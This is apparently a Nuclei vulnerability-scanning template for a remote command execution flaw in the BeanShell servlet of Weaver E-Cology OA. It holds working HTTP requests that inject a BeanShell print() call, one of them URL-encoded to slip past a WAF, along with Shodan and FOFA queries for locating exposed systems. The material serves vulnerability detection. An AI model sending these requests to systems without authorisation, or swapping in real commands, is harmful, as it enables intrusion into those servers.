id: weaver-ecology-bshservlet-rce

info:
  name: Weaver E-Cology BeanShell - Remote Command Execution
  author: SleepingBag945
  severity: critical
  description: |
    Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  metadata:
    verified: true
    max-request: 2
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: beanshell,rce,weaver

http:
  - raw:
      - |
        POST /weaver/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=print%28%22{{randstr}}%22%29%3B
      - | # bypass waf
        POST /weaver/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %62%73%68%2e%73%63%72%69%70%74=%70%72%69%6e%74%28%22{{randstr}}%22%29%3b

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "BeanShell Test Servlet"
          - "(?i)<pre>(\n.*){{randstr}}"
        condition: and

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100c9ba653f57e01fe93046cf98f3051f013ebdb7d92c0cd2869712af7437fab42b0220290358ee34352b5b70ca770c5531a3deff20a4c8a1c43b569b14a46cbfb7517b:922c64590222798bb761d5b6d8e72950
